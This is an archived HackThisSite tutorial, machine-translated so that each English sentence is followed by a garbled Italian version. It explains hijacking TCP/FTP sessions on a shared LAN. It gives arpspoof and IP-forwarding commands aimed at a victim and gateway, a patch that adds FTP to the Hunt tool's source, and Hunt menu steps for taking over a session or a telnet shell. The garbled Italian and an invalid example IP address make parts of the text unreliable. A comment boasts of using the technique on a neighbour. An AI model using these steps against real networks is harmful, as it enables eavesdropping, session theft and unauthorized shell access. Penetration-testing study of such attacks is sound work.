Hack questo sito!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Pubblicità HackThisSite.org:: Nascondi questi annunci]

"A war is not won if the defeated enemy has not been turned into a friend." "Una guerra non è vinta se il nemico sconfitto non è stato trasformato in un amico". -Erric Hoffer -Erric Hoffer

HTS costs up to $300 a month to operate. HTS costi fino a $ 300 al mese per funzionare. We need your help! Abbiamo bisogno del vostro aiuto!

Donors also receive special recognition on our donors page. Anche i donatori ricevono un riconoscimento speciale sui nostri donatori pagina.

FR DE ES IT PT FR DE ES IT PT

Link to us! Link al nostro sito!

phoenix free shells fenice libera gusci
hackergames.net hackergames.net
PullThePlug PullThePlug

TCP Hijacking TCP dirottanti
Published by: hackerxtreme , on 2007-11-02 20:44:43 Pubblicato da: hackerxtreme, su 2007-11-02 20:44:43
TCP Hijack TCP Hijack Disclaimer: This guide is meant for ethical hacking or audit with authorization purposes only. Disclaimer: Questo guida è stata pensata per l'hacking etico o di audit con l'autorizzazione solo a scopo. The author is not responsible for any consequences otherwise. L'autore non è responsabile per le eventuali conseguenze altrimenti. The material is copyrighted. Il materiale è protetto da copyright. Requirements: Linux OS, Connect to the same LAN or wireless network as the victim, Requisiti: sistema operativo Linux, collegarsi alla stessa rete LAN o rete wireless come la vittima, Once a malicious user gains access to the FTP session traffic he can now begin to monitor the session and wait for an opportunity to hijack the session. Una volta che un utente malintenzionato può accedere alla sessione FTP traffico egli può ora iniziare a monitorare la sessione e attendere l'opportunità di dirottare la sessione. A hijack occurs when the attacker is able to intercept the communication between the client and server after the session has been authenticated. Un dirottare si verifica quando l'utente malintenzionato è in grado di intercettare la comunicazione tra il client e il server dopo la sessione è stata autenticata. The simplest method to hijack the session would be to send a reset to the user forcing the client application to close the FTP session but he also have to prevent the client from resetting the port on the server end. Il metodo più semplice per dirottare la sessione potrebbe essere quella di inviare un reset per l'utente forzando l'applicazione client per chiudere la sessione FTP, ma anche per evitare che il cliente da reimpostare la porta sul server fine. If he does not prevent this packet from reaching the server then the connection will be terminated and he will have to wait for another opportunity to hijack a session. Se egli non impedire che questo pacchetto di raggiungere il server, allora la connessione verrà terminata e si dovrà attendere un'altra occasione per dirottare una sessione. Once he has successfully closed the client, he now has the opportunity to send queries to the server requesting files or upload his own malicious files to the server. Una volta che ha chiuso con successo il cliente, egli ha ora l'opportunità di inviare query al server richiedente caricare file o il suo file "maligni" al server. Since he was monitoring the entire session between the server and client he has the right sequence number and acknowledgment number so that the server thinks its still communicating with the original client. Poiché egli è stato il monitoraggio l'intera sessione tra il server e client ha il diritto e il numero progressivo riconoscimento numero per fare in modo che il server pensa ancora la sua comunicazione con il client originale. If the attacker chooses to keep both the client and server running then he will have to keep track of the sequence number and acknowledgment number being sent between the client and server. Se l'attaccante sceglie di mantenere sia il client e il server che esegue allora egli dovrà tenere traccia del numero di sequenza e numero di riconoscimento di essere inviati tra il client e il server. Any command that the attacker sends to the server will change the sequence number and acknowledgment numbers and will cause the client and server to be out of synchronization and they will not be able to communicate thus causing the connection to close. Ogni comando che l'utente malintenzionato invia al server cambierà il numero e la sequenza di numeri di riconoscimento e farà in modo che i client e server per essere fuori di sincronizzazione e non saranno in grado di comunicare provocando così la connessione al vicino. This method is more difficult because the attacker now has to continually change the client and server sequence/acknowledgment numbers to reflect the commands that he injected towards the server and the data he received from the server. Questo metodo è più difficile perché l'attaccante ha ora a cambiare continuamente il client e il server sequenza / numeri di riconoscimento per riflettere i comandi che ha iniettato verso il server e dei dati che ha ricevuto dal server. You have to be on the same wireless or LAN network to accomplish this. Dovete essere sulla stessa LAN senza fili o di rete per realizzare questo. The process of FTP Hijack: Il processo di FTP Hijack: ARP Spoof ARP spoofing Arp spoof the victim to the gateway (Victim: 192.168.2.2; Gateway: 192.168.2.1) using arpspoof from the attacking machine (192.168.2.160) to redirect all traffic through the attacker. Arp spoofing la vittima per il gateway (Vittima: 192.168.2.2; Gateway: 192.168.2.1) utilizzando arpspoof da attaccare la macchina (192.168.2.160) per reindirizzare tutto il traffico attraverso l'aggressore. CODE : CODICE: `# echo 1 >; /proc/sys/net/ipv4/ip_forward` `# Echo 1> / proc/sys/net/ipv4/ip_forward` `# arpspoof -t 192.168.2.1 192.168.2.2` `# Arpspoof-t 192.168.2.1 192.168.2.2` `# arpspoof -t 192.168.2.2 192.168.2.1` `# Arpspoof-t 192.168.2.2 192.168.2.1` HUNT CACCIA Hunt is a program for intruding into a connection, watching it and resetting it. Hunt è un programma per intruding in una connessione, guardando e reimpostarlo. Hunt operates on Ethernet and is best used for connections which can be watched through it. Caccia opera su Ethernet e meglio è utilizzato per le connessioni che possono essere osservati attraverso di essa. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. Tuttavia, è possibile fare qualcosa anche per gli host su un altro host o segmenti che si trovano sul acceso porti. Hunt doesn't distinguish between local network connections and connections going to/from Internet. Caccia non fa distinzione tra le connessioni di rete locale e le connessioni in corso da / per Internet. It can handle all connections it sees. E 'in grado di gestire tutte le connessioni si vede. Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. Connessione dirottamento è rivolto innanzitutto ai rlogin o telnet traffico, ma può essere utilizzato per un altro troppo traffico. Features: connection management (watching, spoofing, detecting, hijacking, resetting), daemons (resetting, arp spoof/relayer daemon, MAC discovery daemon for collecting MAC addresses, sniff daemon for logging TCP traffic), host resolving, packet engine (TCP, UDP, ICMP and ARP traffic; collecting TCP connections with sequence numbers and the ACK storm detection), switched environment (hosts on switched ports can be spoofed, sniffed and hijacked too). Caratteristiche: gestione di connessione (guardando, spoofing, l'individuazione, pirateria aerea, ripristino), demoni (ripristino, arp spoofing / relayer demone, MAC scoperta demone per la raccolta di indirizzi MAC, annusare demone per il logging del traffico TCP), la soluzione di accoglienza, pacchetto motore (TCP, UDP, ICMP e ARP traffico; raccolta di connessioni TCP con sequenza di numeri e la tempesta di rilevamento ACK), acceso ambiente (host acceso porti possono essere contraffatti, sniffati e dirottato troppo). This latest release includes lots of debugging and fixes in order to get the hunt running against hosts on switched ports, timejobs, dropping IP fragments, verbose status bar, options, new connection indicator, various fixes. Questa ultima versione include un sacco di debugging e correzioni al fine di ottenere la caccia in esecuzione su host contro acceso porti, timejobs, caduta frammenti IP, verbose barra di stato, le opzioni, i nuovi Indicatore della connessione, varie correzioni. By default, Hunt only monitors telnet (port 23) and rlogin (port 513) sessions, but the code is written in such a way that it would be very easy to add other types. Per impostazione predefinita, Hunt solo monitor telnet (porta 23) e rlogin (porta 513) sessioni, ma il codice è scritto in modo tale che sarebbe molto facile per aggiungere altri tipi. In the file hunt.c, in the initialization code for the entry function, is this line: Nel file hunt.c, nel codice di inizializzazione per l'entrata funzione, è questa riga: CODE : CODICE: `add_telnet_rlogin_policy();` `add_telnet_rlogin_policy ();` This function is located in the addpolicy.c file and here's the function in question: Questa funzione si trova nel addpolicy.c file e qui è la funzione in questione: CODE : CODICE: `api->;dst_ports[2] = htons(21); was added to incorporate FTP sessions.` `API->; dst_ports [2] = htons (21); è stato aggiunto a includere sessioni FTP.` `void add_telnet_rlogin_policy(void)` `add_telnet_rlogin_policy nullo (void)` `{` `(` `struct add_policy_info api;` `struct add_policy_info api;` `api = malloc(sizeof(struct add_policy_info));` `API = malloc (sizeof (struct add_policy_info));` `assert(api);` `affermare (API);` `memset(api, 0, sizeof(sizeof(struct add_policy_info)));` `memset (api, 0, sizeof (sizeof (struct add_policy_info)));` `api->;src_addr = 0;` `API->; src_addr = 0;` `api->;src_mask = 0;` `API->; src_mask = 0;` `api->;dst_addr = 0;` `API->; dst_addr = 0;` `api->;dst_mask = 0;` `API->; dst_mask = 0;` `api->;src_ports[0] = 0;` `API->; src_ports [0] = 0;` `api->;dst_ports[0] = htons(23);` `API->; dst_ports [0] = htons (23);` `api->;dst_ports[1] = htons(513);` `API->; dst_ports [1] = htons (513);` `api->;dst_ports[2] = htons(21); //This port was added for FTP` `API->; dst_ports [2] = htons (21); / / Questa porta è stato aggiunto per FTP` `api->;dst_ports[3] = 0;` `API->; dst_ports [3] = 0;` `list_push(&;l_add_policy, api);` `list_push (&; l_add_policy, API);` `};` `);` The source files were compiled and hunt.c executed. I file sorgenti sono stati compilati e hunt.c eseguito. CODE : CODICE: `/` `/ ` `* hunt 1.5` `* Caccia 1.5` `* multipurpose connection intruder / sniffer for Linux` `* Multiuso connessione intruso / sniffer per Linux` `* (c) 1998-2000 by kra` `* (C) 1998-2000 da Kra` `/` ` /` `starting hunt` `a partire caccia` `--- Main Menu --- rcvpkt 0, free/alloc 64/64 ------` `Menu principale --- --- rcvpkt 0, libero / alloc 64/64 ------` `l/w/r) list/watch/reset connections` `l / w / r) elenco / watch / i collegamenti reimposta` `u) host up tests` `u), ospitare fino prove` `a) arp/simple hijack (avoids ack storm if arp used)` `a), arp / semplice dirottare (evita ack tempesta arp se utilizzati)` `s) simple hijack` `s) la semplice dirottare` `d) daemons rst/arp/sniff/mac` `d), primo demoni / arp / annusare / mac` `o) options` `o) le opzioni` `x) exit` `x) uscita` `--` `--` HUNT Preparations CACCIA Preparazioni Customize Options and Start Daemons Personalizza le opzioni e avviare i demoni o is typed to customize options. O è stato digitato per personalizzare le opzioni. The MAC base is changed to attacker's NIC 00:ab:cd:ef:gh:mn. Il MAC di base è cambiato in attaccante della scheda NIC 00: AB: CD: EF: GH: min. Host resolving, arp spoof with MAC base and learn IP from MAC discovery are all enabled. Host risolvere, arp spoofing di base con MAC e IP imparare da Mac scoperta sono tutte abilitate. From the main menu, d daemons -- a arp spoof daemon is started. Dal menu principale, d demoni - un arp spoofing demone viene avviato. Hunt can also arp spoof the hosts and targets if specified. Hunt può anche arp spoofing gli host e gli obiettivi, se specificato. FTP Hijack FTP Hijack From the main menu, l gives a list of connections. Dal menu principale, l fornisce un elenco di collegamenti. 0) 192.168.2.2 [32777] -- 95.623.58.102 [21] 0) 192.168.2.2 [32777] - 95.623.58.102 [21] w - Watches the above connnection. w - Orologi connnection di cui sopra. a - Performs a simple hijack. uno - Esegue una semplice dirottare. Once you hijack, you have access to the files being sent. Una volta hijack, si ha accesso ai file in corso di invio. You can manipulate them using a tool like fragroute to craft evil packets. È possibile manipolare con l'utilizzo di uno strumento come fragroute alle imbarcazioni male pacchetti. If the connection is telnet on port 23, you will have the shell on both the machines. Se la connessione telnet sulla porta 23, si avrà la shell su entrambe le macchine. Impact Impatto ? Access to Data Accesso ai dati ? Access to the command shell L'accesso al comando della shell ? DOS Attack Attacco DoS
Cast your vote on this article Cast il vostro voto su questo articolo Note: the order of the votes has been reversed. Nota: l'ordine delle votazioni è stato invertito.

Comments: Commento:
Published: 5 comments. Pubblicato: 5 commenti.

liuyuan - 03:50 pm Friday November 02nd, 2007 liuyuan - Venerdì 03:50 pm novembre 02a, 2007

Accepted, edit out minor error. Accettato modificare i minori di errore. Fixed formatting, wrong use of bbcodes codes and ect Fissa la formattazione, l'uso sbagliato di bbcodes codici e ECT

harry007 - 03:26 am Sunday November 04th, 2007 harry007 - 03:26 am 04a Domenica novembre, 2007

cool fresco

WhiteAcid - 09:32 am Sunday November 04th, 2007 WhiteAcid - 09:32 am 04a Domenica novembre, 2007

> and & need to be de-entitied > & e devono essere de-entitied

liuyuan - 05:10 pm Thursday November 08th, 2007 liuyuan - Giovedi 05:10 pm novembre 08a, 2007

Thanks sid. Grazie sid. Done. Fatto.

roffelmavo - 09:32 am Saturday October 25th, 2008 roffelmavo - 09:32 am Sabato 25 Ottobre 2008

cool dude! cool dude! a guy made me install linux in my eee pc and it is risky to install if you are a newbie but im not a newbie and i made it! un ragazzo mi ha fatto installare linux nel mio eee pc ed è rischioso per l'installazione, se sei un novizio, ma non im un newbie e ho fatta! but the linux was ment for asus eee pc =/! ma linux è ASUS mento per eee pc = /! so i need new hacks for it! così ho bisogno di nuovo hack per essa! ty man! Ty uomo! 10/10 i kicked an iritating kid out of the wireless connection and his ethernet who hijacks! 10.10 i calci uno iritating bambino fuori della connessione wireless e la sua ethernet che hijack! arround peoples computers in the neighbourhood! arround popoli computer nelle vicinanze! that will teach the kid not to be a cracker! insegnare che il bambino non deve essere un cracker!

This site is the collective work of the HackThisSite staff. Questo sito è il contratto collettivo di lavoro del personale HackThisSite. Please don't reproduce in part or whole without permission. Si prega di non riprodurre in parte o in tutto senza permesso.
Page Generated: Mon, 01 Dec 2008 21:06:41 -0500 Exec: 10 Pagina Generata: lun, 01 dicembre 2008 21:06:41 -0500 Esec: 10
_{Page loaded in 0.46184 seconds!} _{Pagina caricata in 0,46184 secondi!}

Donate Donazioni

Challenges Sfide

Get Informed Get Informed

Get Involved Get Involved

Communicate Comunicare

About HTS A proposito di HTS

Translate Tradurre

Partners Partner

TCP Hijack TCP Hijack

ARP Spoof ARP spoofing

HUNT CACCIA

HUNT Preparations CACCIA Preparazioni

FTP Hijack FTP Hijack

Impact Impatto